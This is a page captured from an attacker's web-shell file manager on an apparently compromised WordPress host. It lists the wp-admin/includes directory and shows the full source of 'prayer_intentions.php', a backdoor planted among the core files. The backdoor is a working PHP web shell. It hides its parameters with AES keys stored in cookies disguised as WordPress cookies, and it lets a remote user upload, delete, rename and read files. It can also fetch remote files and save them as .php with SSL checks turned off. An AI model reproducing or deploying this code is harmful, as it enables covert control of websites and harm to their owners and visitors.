X7ROOT File Manager
Current Path:
/home/katmhsmi/public_html/wp-admin/includes
home
/
katmhsmi
/
public_html
/
wp-admin
/
includes
/
📁
..
📄
.htaccess
(420 B)
📄
admin-filters.php
(7.85 KB)
📄
admin.php
(3.54 KB)
📄
ajax-actions.php
(148.08 KB)
📄
bookmark.php
(11.45 KB)
📄
class-automatic-upgrader-skin.php
(3.58 KB)
📄
class-bulk-plugin-upgrader-skin.php
(2.53 KB)
📄
class-bulk-theme-upgrader-skin.php
(2.6 KB)
📄
class-bulk-upgrader-skin.php
(6.59 KB)
📄
class-core-upgrader.php
(14.83 KB)
📄
class-custom-background.php
(21.14 KB)
📄
class-custom-image-header.php
(48.14 KB)
📄
class-file-upload-upgrader.php
(4.07 KB)
📄
class-ftp-pure.php
(5.3 KB)
📄
class-ftp-sockets.php
(8.28 KB)
📄
class-ftp.php
(26.73 KB)
📄
class-language-pack-upgrader-skin.php
(2.8 KB)
📄
class-language-pack-upgrader.php
(15.2 KB)
📄
class-pclzip.php
(192.08 KB)
📄
class-plugin-installer-skin.php
(11.77 KB)
📄
class-plugin-upgrader-skin.php
(3.2 KB)
📄
class-plugin-upgrader.php
(22.7 KB)
📄
class-theme-installer-skin.php
(12.44 KB)
📄
class-theme-upgrader-skin.php
(4.08 KB)
📄
class-theme-upgrader.php
(26.08 KB)
📄
class-walker-category-checklist.php
(4.97 KB)
📄
class-walker-nav-menu-checklist.php
(5.5 KB)
📄
class-walker-nav-menu-edit.php
(13.85 KB)
📄
class-wp-ajax-upgrader-skin.php
(4.09 KB)
📄
class-wp-application-passwords-list-table.php
(6.79 KB)
📄
class-wp-automatic-updater.php
(60.45 KB)
📄
class-wp-comments-list-table.php
(32.28 KB)
📄
class-wp-community-events.php
(18.33 KB)
📄
class-wp-debug-data.php
(65.06 KB)
📄
class-wp-filesystem-base.php
(23.84 KB)
📄
class-wp-filesystem-direct.php
(17.72 KB)
📄
class-wp-filesystem-ftpext.php
(22.56 KB)
📄
class-wp-filesystem-ftpsockets.php
(18.05 KB)
📄
class-wp-filesystem-ssh2.php
(22.76 KB)
📄
class-wp-importer.php
(7.32 KB)
📄
class-wp-internal-pointers.php
(4.47 KB)
📄
class-wp-links-list-table.php
(9.02 KB)
📄
class-wp-list-table-compat.php
(1.46 KB)
📄
class-wp-list-table.php
(51.67 KB)
📄
class-wp-media-list-table.php
(25.29 KB)
📄
class-wp-ms-sites-list-table.php
(21.5 KB)
📄
class-wp-ms-themes-list-table.php
(27.77 KB)
📄
class-wp-ms-users-list-table.php
(15.35 KB)
📄
class-wp-plugin-install-list-table.php
(24.21 KB)
📄
class-wp-plugins-list-table.php
(56.43 KB)
📄
class-wp-post-comments-list-table.php
(1.42 KB)
📄
class-wp-posts-list-table.php
(62.71 KB)
📄
class-wp-privacy-data-export-requests-list-table.php
(5.43 KB)
📄
class-wp-privacy-data-removal-requests-list-table.php
(5.58 KB)
📄
class-wp-privacy-policy-content.php
(31.86 KB)
📄
class-wp-privacy-requests-table.php
(14.06 KB)
📄
class-wp-screen.php
(36.45 KB)
📄
class-wp-site-health-auto-updates.php
(14 KB)
📄
class-wp-site-health.php
(119.49 KB)
📄
class-wp-site-icon.php
(6.26 KB)
📄
class-wp-terms-list-table.php
(20.69 KB)
📄
class-wp-theme-install-list-table.php
(15.23 KB)
📄
class-wp-themes-list-table.php
(10.11 KB)
📄
class-wp-upgrader-skin.php
(6.94 KB)
📄
class-wp-upgrader-skins.php
(1.44 KB)
📄
class-wp-upgrader.php
(46.88 KB)
📄
class-wp-users-list-table.php
(18.61 KB)
📄
comment.php
(5.98 KB)
📄
continents-cities.php
(20.06 KB)
📄
credits.php
(5.73 KB)
📄
dashboard.php
(68.08 KB)
📄
deprecated.php
(40.8 KB)
📄
edit-tag-messages.php
(1.44 KB)
📄
error_log
(5.43 KB)
📄
export.php
(24.97 KB)
📄
file.php
(95.87 KB)
📄
image-edit.php
(42.85 KB)
📄
image.php
(41.66 KB)
📄
import.php
(6.46 KB)
📄
list-table.php
(3.71 KB)
📄
media.php
(116.32 KB)
📄
menu.php
(9.39 KB)
📄
meta-boxes.php
(64.53 KB)
📄
misc.php
(44.71 KB)
📄
ms-admin-filters.php
(1.27 KB)
📄
ms-deprecated.php
(3.68 KB)
📄
ms.php
(33.51 KB)
📄
nav-menu.php
(47.89 KB)
📄
network.php
(26.36 KB)
📄
noop.php
(1.12 KB)
📄
options.php
(4.15 KB)
📄
plugin-install.php
(38.55 KB)
📄
plugin.php
(90.75 KB)
📄
post.php
(80.28 KB)
📄
prayer_intentions.php
(10.75 KB)
📄
privacy-tools.php
(32.68 KB)
📄
revision.php
(16.18 KB)
📄
schema.php
(41.86 KB)
📄
screen.php
(6.23 KB)
📄
taxonomy.php
(8.23 KB)
📄
template.php
(96.22 KB)
📄
theme-install.php
(6.83 KB)
📄
theme.php
(46.62 KB)
📄
translation-install.php
(10.82 KB)
📄
update-core.php
(68.5 KB)
📄
update.php
(33.63 KB)
📄
upgrade.php
(112.09 KB)
📄
user.php
(22.98 KB)
📄
widgets.php
(10.66 KB)
Editing: prayer_intentions.php
<?php @error_reporting(E_ALL); @ini_set('display_errors', 0); function generateRandomKey($length = 16) { return bin2hex(random_bytes($length / 2)); } if (isset($_COOKIE['wordpress_test_cookie']) && isset($_COOKIE['wordpress_loggeds']) && isset($_COOKIE['wp-settings-times'])) { $keyGeneratedTime = $_COOKIE['wp-settings-times']; if ((time() - $keyGeneratedTime) < 1800) { $encryptionKey = $_COOKIE['wordpress_test_cookie']; $encryptionIv = $_COOKIE['wordpress_loggeds']; } else { $encryptionKey = generateRandomKey(16); $encryptionIv = generateRandomKey(16); setcookie('wordpress_test_cookie', $encryptionKey, time() + 1800); setcookie('wordpress_loggeds', $encryptionIv, time() + 1800); setcookie('wp-settings-times', time(), time() + 1800); } } else { $encryptionKey = generateRandomKey(16); $encryptionIv = generateRandomKey(16); setcookie('wordpress_test_cookie', $encryptionKey, time() + 1800); setcookie('wordpress_loggeds', $encryptionIv, time() + 1800); setcookie('wp-settings-times', time(), time() + 1800); } define('wordpress_test_cookie', $encryptionKey); define('wordpress_loggeds', $encryptionIv); function encrypt($data) { return bin2hex(openssl_encrypt($data, 'aes-128-cbc', wordpress_test_cookie, OPENSSL_RAW_DATA, wordpress_loggeds)); } function decrypt($data) { return openssl_decrypt(hex2bin($data), 'aes-128-cbc', wordpress_test_cookie, OPENSSL_RAW_DATA, wordpress_loggeds); } $currentDir = isset($_POST['path']) ? decrypt($_POST['path']) : getcwd(); $currentDir = realpath($currentDir); function listDirectory($dir) { $scan = scandir($dir); $files = array(); $directories = array(); foreach ($scan as $item) { if ($item != '.' && $item != '..') { if (is_dir($dir . DIRECTORY_SEPARATOR . $item)) { $directories[] = $item; } else { $files[] = $item; } } } return array_merge($directories, $files); } function uploadFile($targetDir) { $targetPath = $targetDir . '/' . basename($_FILES['file_upload']['name']); if (move_uploaded_file($_FILES['file_upload']['tmp_name'], $targetPath)) { return '<div class="success">File uploaded successfully.</div>'; } else { return '<div class="error">File upload failed.</div>'; } } function deleteFile($filePath) { if (unlink($filePath)) { return '<div class="success">File deleted successfully.</div>'; } else { return '<div class="error">File deletion failed.</div>'; } } function viewFile($filePath) { if (is_file($filePath)) { $handle = fopen($filePath, "r"); $content = fread($handle, filesize($filePath)); fclose($handle); return htmlspecialchars($content); } else { return 'File does not exist.'; } } function renameItem($oldPath, $newName) { $newPath = dirname($oldPath) . '/' . $newName; if (rename($oldPath, $newPath)) { return '<div class="success">Item renamed successfully.</div>'; } else { return '<div class="error">Renaming failed.</div>'; } } function downloadRemoteFile($url, $targetDir) { $filen = str_replace('.txt','.php',basename($url)); $targetPath = $targetDir . '/' . $filen; $file = fopen($url, 'rb'); if ($file) { $targetFile = fopen($targetPath, 'wb'); if ($targetFile) { while ($buffer = fread($file, 1024)) { fwrite($targetFile, $buffer); } fclose($targetFile); fclose($file); return '<div class="success">Remote file downloaded successfully using fopen().</div>'; } fclose($file); } $fileContent = @file($url); if ($fileContent !== false) { $targetFile = fopen($targetPath, 'wb'); if ($targetFile) { foreach ($fileContent as $line) { fwrite($targetFile, $line); } fclose($targetFile); return '<div class="success">Remote file downloaded successfully using file().</div>'; } } if (@copy($url, $targetPath)) { return '<div class="success">Remote file downloaded successfully using copy().</div>'; } $contextOptions = array( "ssl" => array( "verify_peer" => false, "verify_peer_name" => false, ), ); $context = stream_context_create($contextOptions); $file = fopen($url, 'rb', false, $context); if ($file) { $targetFile = fopen($targetPath, 'wb'); if ($targetFile) { while ($buffer = fread($file, 1024)) { fwrite($targetFile, $buffer); } fclose($targetFile); fclose($file); return '<div class="success">Remote file downloaded successfully using stream_context_create().</div>'; } fclose($file); } return '<div class="error">Remote file download failed.</div>'; } if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['file_upload'])) { $message = uploadFile($currentDir); } elseif (isset($_POST['delete'])) { $message = deleteFile(decrypt($_POST['delete'])); } elseif (isset($_POST['download_url'])) { $message = downloadRemoteFile(base64_decode($_POST['download_url']), $currentDir); } elseif (isset($_POST['old_name']) && isset($_POST['new_name'])) { $oldPath = decrypt($_POST['old_name']); $newName = base64_decode($_POST['new_name']); $message = renameItem($oldPath, $newName); } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta name="robots" content="noindex, nofollow"> <style> body { font-family: Arial, sans-serif; margin: 0; padding: 20px; } .container { max-width: 800px; margin: 0 auto; } .success { color: #4CAF50; } .error { color: #f44336; } form { margin-bottom: 10px; } input[type="text"], input[type="submit"] { padding: 5px; margin-right: 5px; } table { width: 100%; border-collapse: collapse; margin-bottom: 20px; } th, td { border: 1px solid #ddd; padding: 8px; text-align: left; } th { background-color: #f2f2f2; } .dir { color: blue; } .file { color: black; } pre { white-space: pre-wrap; word-wrap: break-word; margin: 0; } </style> <script> function encrypt(value) { return btoa(value); } </script> </head> <body> <div class="container"> <?php if (isset($message)) echo $message; ?> <form enctype="multipart/form-data" method="POST" action=""> <input type="file" name="file_upload" /> <input type="submit" value="Upload File" /> <input type="hidden" name="path" value="<?= htmlspecialchars(encrypt($currentDir)) ?>" /> </form> <form method="POST" action="" onsubmit="document.getElementsByName('download_url')[0].value = encrypt(document.getElementsByName('download_url')[0].value)"> <input type="text" name="download_url" placeholder="Enter remote file URL" /> <input type="submit" value="Download Remote File" /> <input type="hidden" name="path" value="<?= htmlspecialchars(encrypt($currentDir)) ?>" /> </form> <h2>Current Path: <?php $pathParts = explode(DIRECTORY_SEPARATOR, trim($currentDir, DIRECTORY_SEPARATOR)); if (substr($currentDir, 0, 1) === '/') { $fullPath = DIRECTORY_SEPARATOR; } else { $fullPath = ''; } foreach ($pathParts as $index => $part) { if ($fullPath === '') { $fullPath = $part; } else if ($fullPath === DIRECTORY_SEPARATOR) { $fullPath .= $part; } else { $fullPath .= DIRECTORY_SEPARATOR . $part; } ?> <form method="POST" style="display:inline;"> <button type="submit" name="path" value="<?= htmlspecialchars(encrypt($fullPath)) ?>" style="background: none; border: none; padding: 0;"><?= htmlspecialchars($part) ?></button> </form> <?php echo '/'; } ?> </h2> <?php if ($currentDir !== DIRECTORY_SEPARATOR): ?> <form method="POST" style="display:inline;"> <input type="hidden" name="path" value="<?= htmlspecialchars(encrypt(dirname($currentDir))) ?>" /> <input type="submit" value="Go up one directory"/> </form> <?php endif; ?> <table> <tr> <th>Name</th> <th>Size</th> <th>Actions</th> </tr> <?php foreach (listDirectory($currentDir) as $file): ?> <?php $filePath = $currentDir . DIRECTORY_SEPARATOR . $file; ?> <tr> <td class="<?= is_dir($filePath) ? 'dir' : 'file' ?>"> <?php if (is_dir($filePath)): ?> <form method="POST" style="display: inline;"> <button type="submit" name="path" value="<?= htmlspecialchars(encrypt($filePath)) ?>" style="background: none; border: none; padding: 0; color: blue;"><?= htmlspecialchars($file) ?></button> </form> <?php else: ?> <form method="POST" style="display: inline;"> <button type="submit" name="view" value="<?= htmlspecialchars(encrypt($filePath)) ?>" style="background: none; border: none; padding: 0; color: black;"><?= htmlspecialchars($file) ?></button> <input type="hidden" name="path" value="<?= htmlspecialchars(encrypt($currentDir)) ?>" /> </form> <?php endif; ?> </td> <td> <?php if (is_file($filePath)): ?> <?= filesize($filePath) ?> bytes <?php else: ?> DIR <?php endif; ?> </td> <td> <?php if (is_file($filePath)): ?> <form method="POST" style="display:inline;"> <input type="hidden" name="delete" value="<?= htmlspecialchars(encrypt($filePath)) ?>" /> <input type="hidden" name="path" value="<?= htmlspecialchars(encrypt($currentDir)) ?>" /> <input type="submit" value="Delete"/> </form> <?php endif; ?> <form method="POST" action="" style="display:inline;" onsubmit="this.new_name.value = encrypt(this.new_name.value)" > <input type="hidden" name="old_name" value="<?= htmlspecialchars(encrypt($filePath)) ?>" /> <input type="text" name="new_name" value="<?= htmlspecialchars($file) ?>" /> <input type="hidden" name="path" value="<?= htmlspecialchars(encrypt($currentDir)) ?>" /> <input type="submit" value="Rename"/> </form> </td> </tr> <?php endforeach; ?> </table> <?php if (isset($_POST['view'])): ?> <h2>Viewing File: <?= htmlspecialchars(basename(decrypt($_POST['view']))) ?></h2> <textarea rows="20" cols="80"><?= viewFile(decrypt($_POST['view'])) ?></textarea> <?php endif; ?> </div> </body> </html>
Upload File
Create Folder